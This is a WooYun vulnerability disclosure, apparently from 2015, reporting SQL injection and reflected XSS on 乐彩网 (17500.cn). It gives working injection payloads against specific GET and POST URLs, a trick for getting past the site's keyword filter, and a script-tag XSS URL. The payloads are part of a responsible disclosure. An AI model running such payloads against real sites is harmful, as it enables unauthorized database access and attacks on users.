当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0115555

漏洞标题:乐彩网主站几处问题大礼包(绕过SQL安全过滤)

相关厂商:乐彩网

漏洞作者: ca1n

提交时间:2015-05-22 16:41

修复时间:2015-07-06 20:38

公开时间:2015-07-06 20:38

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-22: 细节已通知厂商并且等待厂商处理中
2015-05-22: 厂商已经确认,细节仅向厂商公开
2015-06-01: 细节向核心白帽子及相关领域专家公开
2015-06-11: 细节向普通白帽子公开
2015-06-21: 细节向实习白帽子公开
2015-07-06: 细节向公众公开

简要描述:

过滤太多,绕过不易,且绕且珍惜,周一见o(=·ェ·=)m ~

详细说明:

看见乌云上提交的乐彩网的注入厂商回应都修了,嘛,今天就又检测了一下

0x01:GET型注入
http://17500.cn/tc225/survey_showR.php?issue=07087


1.png


返回正常

2.png


返回错误,可以大概确定有注入了,掏出sqlmap

1.png


有注入点

2.png


跑数据的时候出问题了,猜测应该是有过滤,手注看看

issue=07087' order by 19 -- 2

返回正常,order by 20的时候返回出错,说明有19个字段
union select的时候直接返回空白界面。。。这里过滤应该是过滤了 后来fuzz了一下只要出现union select 不管中间是否有字符有多少字符统统返回空白页面
开始以为是输入字符串太长了,后来发现是有敏感字符串,union select 不行了试试盲注

if(ascii(mid(user(),%s,1))=%s,sleep(1),0) -- # 1


标准语句往上一放

1.png


好吧 还是空白

漏洞证明:

在这个空白页面想了很久 各种fuzz。。。
最后发现这里对各种敏感字符串的判定有点奇怪,ascii()和mid()在if()里出现的时候会被过滤,但是ascii()和mid()不在if()里面的时候不会被过滤,不知道怎么后台是怎么实现的但是既然没有if()的时候ascii()和mid()没有被过滤那么还是可以进行下去的
通过抓包比较返回长度,可以确定用户名第一个字符的ascii为114。。。手边没有现成的脚本就不继续跑下去了,

1.png


只做证明点到为止

http://17500.cn/tc225/survey_showR.php?issue=07087' and ascii(mid((user()),1,1))=114 -- # 1
这里想说一个tip。。。可能很多人都知道了,对于mysql比较的时候'123'=123会认为是true,在某些情况下可能会有用


下面这一处也是同样的情况,sqlmap跑不出来是因为被过滤了,构造一下包可以出数据

0x02:POST型注入
http://17500.cn/3d/3Dallresult.php
q2=1' and ascii(mid((user()),1,1))=114 -- # 1


===========================================================

反射型xss一处,chrome下会被拦截,ff测试成功
http://17500.cn/p3/p3_showpub.php?issue=-->'"><script>alert(1)</script><H1>XSS@HERE</H1>


1.png

修复方案:

网上有很多很好的修复方案,感觉你们对安全的重视还有待提高

版权声明:转载请注明来源 ca1n@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2015-05-22 20:36

厂商回复:

谢谢提供的漏洞信息,我们尽快修复!

最新状态:

暂无